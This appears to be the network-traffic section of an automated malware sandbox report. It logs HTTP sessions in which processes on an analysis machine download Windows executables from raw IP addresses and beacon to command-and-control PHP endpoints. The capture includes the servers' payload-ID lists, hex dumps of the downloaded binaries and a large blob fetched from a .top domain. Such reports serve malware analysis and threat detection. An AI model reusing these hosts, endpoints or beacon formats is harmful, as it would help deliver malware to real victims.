Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:14:39.534207106 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 01:14:40.910655022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:14:40 GMT Content-Type: application/octet-stream Content-Length: 1920000 Last-Modified: Fri, 22 Nov 2024 23:46:31 GMT Connection: keep-alive ETag: "674117d7-1d4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpL@La@WkH]L8]L @.rsrcH@.idata @ +@ahcdwdtv002.@vxynmcwl`L&@.taggant0pL"*@
Nov 23, 2024 01:14:40.910722017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:14:40.910733938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:14:40.910813093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:14:40.910837889 CET	1236	IN	Data Raw: 09 09 2e 46 58 5b 7f 90 b8 68 1a 42 04 14 9c 3c 6b bc a6 83 d3 ce 61 34 4a ee 85 66 49 4a 9e 13 95 36 0d cd a8 76 12 06 4c 7f 3a 04 c8 6d 2d 3a f8 7e 5e c6 fc 10 e1 b0 ab 7d ae 97 43 db 9e 30 c8 ca ca 74 20 bf fa 33 5a 3b 90 05 88 7d d6 09 5b 9f Data Ascii: .FX[hB<ka4JfIJ6vL:m-:~^}C0t 3Z;}[7Jc*ws\k{nT[~W.T^bb4ph>hsLN[\|$_h4$a:^;I6la:2Om!ZH.W:7[n/`u)`;fgLjb(
Nov 23, 2024 01:14:40.910855055 CET	1236	IN	Data Raw: b9 0a 48 f6 79 22 ee 45 50 d6 5a d9 11 af 1b dd e8 0c 92 eb 5b cb 7a 5e db 01 9e d3 b4 f6 71 06 d8 6c 36 0e 8a 56 87 4c b5 28 62 0b e3 4a fe 57 64 eb 1e 73 42 3b 9b 02 60 4c 11 4b 49 de 1a 12 a8 0a 84 77 68 e6 54 24 14 27 9f ef 78 b7 ba 67 c6 ed Data Ascii: Hy"EPZ[z^ql6VL(bJWdsB;`LKIwhT$'xgooGfG*nzHF&>f\F$#xS)jy`8J6MK}TFFF3/g;q.EmbB(_XF5.\dLSeFayV5DJiN%`6SAwk8GbP}RL
Nov 23, 2024 01:14:40.910867929 CET	1236	IN	Data Raw: 3c 63 79 fa 80 65 7a 50 8c 7f e7 99 5b 6d 46 35 11 87 0c 26 dd fa 43 d6 e9 14 49 d2 90 7c 46 1d 7f 8d 6f 29 8c 17 ad 64 90 dd 9a 52 a9 92 a3 45 be e6 78 f5 c1 77 18 09 9b 56 0b 04 2f 5a cd f3 c1 15 24 a1 db 92 ba 53 61 e9 26 54 80 19 65 50 1c 2a Data Ascii: <cyezP[mF5&CI\|Fo)dRExwV/Z$Sa&TePet!7(8hrcJ'_d(]2o/) KLv>[=D>c$ \|]^dTT\:E+m)/\|BZJ!z:D]bfSgOG]jHNb.P?jyJ
Nov 23, 2024 01:14:40.910878897 CET	1236	IN	Data Raw: 11 54 90 dd 5a 96 24 09 54 4a 32 be 11 b4 e1 7c e0 19 28 65 9e 86 9c b3 5b f4 12 fb 7a 3f b7 d0 6c 72 4d dc 3e 9e c8 63 e7 92 72 36 2c 45 d3 7b 40 ce 85 4e d5 28 93 19 97 cf 2a 50 61 b7 f9 94 5a 3c e9 34 5e f4 f5 da 5b 8a 85 9c 82 13 43 09 d7 61 Data Ascii: TZ$TJ2\|(e[z?lrM>cr6,E{@N(*PaZ<4^[CaJj</8=$IiK-Kk`(qR=wkHe,XR:N egM4:C.rEjL\|mU.[vzlw>aa h~.j<l[rki-@~.DeK>j
Nov 23, 2024 01:14:40.910888910 CET	1236	IN	Data Raw: b5 aa ac 87 2b 80 8d 5e 9c 53 ba 6f 18 6d 86 f7 b4 ac d0 e9 6c 12 7e 9d 1a ae da 4a 2f b8 f6 53 38 76 16 50 64 4d 38 41 6e 8d 2e 74 b0 63 7e 5e 83 aa 57 3e 3f 00 a6 19 f1 4d 2c 5e 46 65 6c 16 84 6f 5e b8 30 bd 89 f6 00 30 f9 31 6b fe b9 42 3d a0 Data Ascii: +^Soml~J/S8vPdM8An.tc~^W>?M,^Felo^001kB=~M[`@CDV@P% #}3'bsr@K-MSYLd'_#&RVe/Smdf`$+6$F:%U6W\|lO(WNVB\4a"
Nov 23, 2024 01:14:40.910901070 CET	1236	IN	Data Raw: 51 78 3e cd 5e 3c d2 90 4e 90 3f 1b e2 ff 2e 27 04 14 cb 2f 80 8a a7 92 65 5c 9d 39 fb a8 2f 65 2e a9 60 5a 26 b4 8e d9 5a 74 26 db 66 fe 20 c7 ef 31 7a 06 4c 7e bd 7b ba f5 f4 1b b8 bb da bd 94 a6 ac ab 79 78 98 16 f8 1f b7 b3 21 bb f7 4b 09 22 Data Ascii: Qx>^<N?.'/e\9/e.`Z&Zt&f 1zL~{yx!K"z]h'?=ytUBG7p>=R4^uK>l:zg([Me\|jmHLG!HHF!("&h 6)+ VZe;(JrmUe2&%WH;e\&V}\|~I
Nov 23, 2024 01:14:41.030308008 CET	1236	IN	Data Raw: 70 0c f2 ea 86 34 a6 42 d7 08 b3 56 70 fa 22 62 22 56 1d d1 52 e5 a6 d3 d0 1a e4 7f d4 a6 ae eb f8 d5 9f bb 55 6a 1a 73 a5 e8 17 95 96 e6 2e 8d c1 b7 fa db 54 ba 2a dc 40 fd c7 7b 6e fa e8 79 cb 23 0b 74 22 52 e1 66 db dd 76 d4 12 12 8f f7 27 a6 Data Ascii: p4BVp"b"VRUjs.T@{ny#t"Rfv'j@ibnekvsD-5AK1^r(0-q JhX,eHWi`usq\),m#q9PtSCzDN"E%G`Id^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49910	185.215.113.206	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:14:44.695940018 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBFHJEGDAFHIJKECFBKJ--
Nov 23, 2024 01:14:46.535341978 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49971	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:05.185244083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 01:15:06.571811914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49977	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:08.196965933 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 01:15:09.548609018 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 35 0d 0a 20 3c 63 3e 31 30 30 38 32 39 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 33 30 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 33 39 65 30 66 34 39 61 36 35 36 23 31 30 30 38 33 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 33 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 [TRUNCATED] Data Ascii: 215 <c>1008294001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008303001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7739e0f49a656#1008304001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008305001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008306001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008307001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49983	31.41.244.11	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:09.671757936 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 01:15:11.018142939 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:10 GMT Content-Type: application/octet-stream Content-Length: 4354048 Last-Modified: Fri, 22 Nov 2024 22:24:49 GMT Connection: keep-alive ETag: "674104b1-427000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c3 00 00 04 00 00 c0 6f 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 2d c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 2c c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@poC@ _qs<-, px'@.rsrc p'@.idata q'@ `7q'@dvdrndmup'@grjspqaa0JB@.taggant0@"NB@
Nov 23, 2024 01:15:11.018176079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:11.018188953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:11.018279076 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:11.018290043 CET	1236	IN	Data Raw: 4f 2a 2b ff 27 ba 6b 24 d5 f6 ec 26 28 4a 5c c4 11 77 d9 18 1c c5 c8 f4 90 1b b4 a9 fd d4 21 53 91 56 c6 30 c0 0b 27 aa b0 c6 9f 5a 08 6d c0 44 ca 6f 70 e5 c1 4b ec c3 24 89 b0 08 f0 ce 74 cc d8 f4 d3 e8 16 4d 71 1b f2 f8 24 f5 98 c0 41 4e 15 3f Data Ascii: O*+'k$&(J\w!SV0'ZmDopK$tMq$AN?l%lKj0\S4m7\|MSC6;H>C6NO3Gi=JiGz;3oKo8/,#(04
Nov 23, 2024 01:15:11.018313885 CET	1236	IN	Data Raw: 47 f0 67 a3 18 6c 2b 55 74 6e ee e7 bc 38 2f 50 37 0c d7 d1 1d 7f 49 93 21 2e f3 10 6e e9 17 19 a1 ac c3 88 07 61 eb 82 f8 65 ca ec d7 0b bd 53 11 78 40 fe b1 b3 b8 cc e3 fc c2 f0 14 0a 64 a8 cd 5a a9 e8 5c 4a 8e 67 fe a5 a7 fa 18 a5 b0 2f fb a3 Data Ascii: Ggl+Utn8/P7I!.naeSx@dZ\Jg/O-\|*%?nx po^LkI^8Bp4#DzW#9LlAK{;l{L1f#w;H8hg6k,&Pud-pOrEpnDk#\|
Nov 23, 2024 01:15:11.018325090 CET	448	IN	Data Raw: f7 4c 70 d4 a8 8f c3 cc b9 f0 af 4b dd bb b1 bd cb ec 55 00 d8 2c 6a e4 1e d0 22 b4 c2 f1 91 e1 fc 6a 3a 22 2f c7 f6 a8 e4 c9 b5 55 6c d8 5b 5e 8f dd ef 27 43 84 0c e0 35 cd f5 f6 e0 0a 39 e8 19 ac 52 ab 20 d3 67 3b 77 53 a5 f5 02 50 39 2a a0 df Data Ascii: LpKU,j"j:"/Ul[^'C59R g;wSP9_8Ksfs6X\|'3hCkVwp x4<`(=7"<l:kGUV?`)Y;Tzf^94Lc6paZ9a$wahc
Nov 23, 2024 01:15:11.018349886 CET	1236	IN	Data Raw: 35 16 8f 54 37 c6 c8 ac 97 5b 8c b0 fb 4b 1e 37 08 e8 81 25 7d a8 ab 20 78 36 5d 08 bd 85 03 77 6e 44 d3 79 c5 c5 1d f4 89 50 71 28 13 4b 8c cd 07 91 5f c4 0a 4f 82 d2 d1 4e 07 e6 b4 e3 1f b0 71 b8 7e e8 38 b7 52 02 18 65 3f 26 3f 89 b6 03 b6 56 Data Ascii: 5T7[K7%} x6]wnDyPq(K_ONq~8Re?&?V(O\|J8hHNGu\e;PFyqTU}u`z)S8wG$0o~/9YLGQvU3nwyNoAVH~Gj_Q0!QvFBK!/
Nov 23, 2024 01:15:11.018415928 CET	1236	IN	Data Raw: 30 c3 22 c6 56 0f 06 95 39 04 1e 95 82 c0 73 07 34 1c d3 a6 f8 4c 95 9c d1 db 29 21 2a 77 bf 50 29 e2 20 1e 98 20 87 25 dc ba 52 29 b1 4a c9 ae f0 44 15 37 19 0c 42 6b 6c 53 31 fc 0f 2a a0 2d f6 cf 7d ab 4a 6f 2c ce 0c 4a 6c a1 b6 71 73 5b ab d2 Data Ascii: 0"V9s4L)!wP) %R)JD7BklS1-}Jo,Jlqs[dR6<JhABB,>[@p(=mf X8Az]kW&"{2M749..RDS_P5$,A+USnzT+rJH'+PVB/CgR@;6j,
Nov 23, 2024 01:15:11.018428087 CET	1236	IN	Data Raw: 6c c0 cf cb 89 46 1c d4 38 91 a0 74 04 a8 e3 60 2b 38 19 2d cc 65 fa 11 12 57 8d 12 ba 7b a7 43 c2 0a aa 13 78 9b 94 d9 53 47 f9 f4 23 7c aa 5e 70 4c 20 a2 89 1b 45 0a d4 fa e5 d3 48 6e e6 b2 21 1e f3 20 75 c7 ea 36 27 a7 2e 69 8b b9 db 09 2a fb Data Ascii: lF8t`+8-eW{CxSG#\|^pL EHn! u6'.iO !'_R?@HMh7,vGdWfx1\#Gl,nS>]).w'@P5X p_>3q-369+>x@}>5&Hf!
Nov 23, 2024 01:15:11.137823105 CET	1236	IN	Data Raw: 26 8d cb fd b7 f8 4f 40 3c 8b 16 f0 c2 b4 bb cc 26 b1 fb 16 98 91 8b 10 78 eb b1 5e 80 09 7e cc fe 6c b9 05 99 92 2b 03 9f 45 d6 88 d4 37 bf 9d 67 26 1f 10 16 e8 43 87 fc 6b c7 aa 69 0e 55 dc 80 ef b5 1b 14 d7 00 d2 cb 80 4b 07 00 93 ea 2f 78 52 Data Ascii: &O@<&x^~l+E7g&CkiUK/xRS3\|Z9}VBB3hUPX,Z}(/"F*lG20db`&sLCv['e0j1xe?l E7\|KWQH.d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50006	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:20.512089968 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 32 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008294001&unit=246122658369
Nov 23, 2024 01:15:21.900542021 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50012	34.116.198.130	80	7808	C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:21.011746883 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 01:15:22.434504986 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 00:15:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 01:15:22.434679985 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 01:15:22.434698105 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 01:15:22.434715033 CET	552	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
